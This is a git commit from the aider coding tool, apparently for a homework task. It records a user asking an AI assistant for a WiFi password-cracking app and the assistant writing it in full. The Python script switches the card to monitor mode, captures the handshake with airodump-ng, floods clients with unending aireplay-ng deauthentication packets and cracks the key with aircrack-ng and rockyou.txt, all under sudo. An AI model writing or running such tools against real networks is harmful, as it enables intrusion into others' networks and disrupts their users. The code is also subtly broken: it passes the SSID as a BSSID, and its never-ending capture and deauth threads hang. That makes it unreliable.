aider: Added Python implementation for WiFi penetration testing application.

# Aider chat conversation:

USER: Generate a python application to assist in wifi penetration testing by prompting the user for the name (SSID) of a password protected wifi network and returning the plaintext password.

This python application should use a combination of shell tools assumed to be on the users linux system, including but not limited to iwconfig, airmon-ng, airodump-ng, aireplay-ng, aircrack-ng.

Operations may be run sequentially, or in parallel using multi-threading

As needed, the use of shell tools should utilize sudo capabilities

As needed, the application may utilize a wordlist found at ~/rockyou.txt

As needed, the application can change the state of the users wifi interface between managed and monitor mode

Save this to hw7/gpt4/app.py

ASSISTANT: Here is the implementation for the requested Python application to assist in WiFi penetration testing:

hw7/gpt4/app.py
```python
<<<<<<< SEARCH
=======
import subprocess
import threading
import time

def run_command(command):
    """Run a shell command with sudo and return the output."""
    result = subprocess.run(['sudo'] + command, capture_output=True, text=True)
    return result.stdout

def change_to_monitor_mode(interface):
    """Change the WiFi interface to monitor mode."""
    run_command(['airmon-ng', 'start', interface])

def change_to_managed_mode(interface):
    """Change the WiFi interface back to managed mode."""
    run_command(['airmon-ng', 'stop', interface])
    run_command(['service', 'network-manager', 'start'])

def get_wifi_interfaces():
    """Get a list of WiFi interfaces."""
    result = run_command(['iwconfig'])
    interfaces = []
    for line in result.split('\n'):
        if 'IEEE 802.11' in line:
            interfaces.append(line.split()[0])
    return interfaces

def get_target_network(interface):
    """Prompt the user for the target network SSID."""
    ssid = input("Enter the SSID of the target network: ")
    return ssid

def capture_handshake(target_network, interface):
    """Capture the handshake of the target network."""
    run_command(['airodump-ng', '--bssid', target_network, '-w', 'capture', interface])

def deauthenticate_clients(target_network, interface):
    """Deauthenticate clients to capture handshake."""
    run_command(['aireplay-ng', '--deauth', '0', '-a', target_network, interface])

def crack_password(capture_file, wordlist):
    """Crack the password using aircrack-ng and a wordlist."""
    result = run_command(['aircrack-ng', '-w', wordlist, capture_file])
    for line in result.split('\n'):
        if 'KEY FOUND!' in line:
            return line.split()[-1]
    return None

def main():
    interfaces = get_wifi_interfaces()
    if not interfaces:
        print("No WiFi interfaces found.")
        return

    interface = interfaces[0]
    change_to_monitor_mode(interface)

    target_network = get_target_network(interface)

    capture_thread = threading.Thread(target=capture_handshake, args=(target_network, interface))
    deauth_thread = threading.Thread(target=deauthenticate_clients, args=(target_network, interface))

    capture_thread.start()
    time.sleep(5)  # Give some time for airodump-ng to start
    deauth_thread.start()

    capture_thread.join()
    deauth_thread.join()

    change_to_managed_mode(interface)

    password = crack_password('capture-01.cap', '~/rockyou.txt')
    if password:
        print(f"The password for {target_network} is: {password}")
    else:
        print("Failed to crack the password.")

if __name__ == "__main__":
    main()
>>>>>>> REPLACE
```
This commit is contained in:
David Westgate 2024-05-30 14:43:40 -07:00
parent 293d8be4b9
commit 39f260f5b8

View File

@ -0,0 +1,79 @@
import subprocess
import threading
import time
def run_command(command):
"""Run a shell command with sudo and return the output."""
result = subprocess.run(['sudo'] + command, capture_output=True, text=True)
return result.stdout
def change_to_monitor_mode(interface):
"""Change the WiFi interface to monitor mode."""
run_command(['airmon-ng', 'start', interface])
def change_to_managed_mode(interface):
"""Change the WiFi interface back to managed mode."""
run_command(['airmon-ng', 'stop', interface])
run_command(['service', 'network-manager', 'start'])
def get_wifi_interfaces():
"""Get a list of WiFi interfaces."""
result = run_command(['iwconfig'])
interfaces = []
for line in result.split('\n'):
if 'IEEE 802.11' in line:
interfaces.append(line.split()[0])
return interfaces
def get_target_network(interface):
"""Prompt the user for the target network SSID."""
ssid = input("Enter the SSID of the target network: ")
return ssid
def capture_handshake(target_network, interface):
"""Capture the handshake of the target network."""
run_command(['airodump-ng', '--bssid', target_network, '-w', 'capture', interface])
def deauthenticate_clients(target_network, interface):
"""Deauthenticate clients to capture handshake."""
run_command(['aireplay-ng', '--deauth', '0', '-a', target_network, interface])
def crack_password(capture_file, wordlist):
"""Crack the password using aircrack-ng and a wordlist."""
result = run_command(['aircrack-ng', '-w', wordlist, capture_file])
for line in result.split('\n'):
if 'KEY FOUND!' in line:
return line.split()[-1]
return None
def main():
interfaces = get_wifi_interfaces()
if not interfaces:
print("No WiFi interfaces found.")
return
interface = interfaces[0]
change_to_monitor_mode(interface)
target_network = get_target_network(interface)
capture_thread = threading.Thread(target=capture_handshake, args=(target_network, interface))
deauth_thread = threading.Thread(target=deauthenticate_clients, args=(target_network, interface))
capture_thread.start()
time.sleep(5) # Give some time for airodump-ng to start
deauth_thread.start()
capture_thread.join()
deauth_thread.join()
change_to_managed_mode(interface)
password = crack_password('capture-01.cap', '~/rockyou.txt')
if password:
print(f"The password for {target_network} is: {password}")
else:
print("Failed to crack the password.")
if __name__ == "__main__":
main()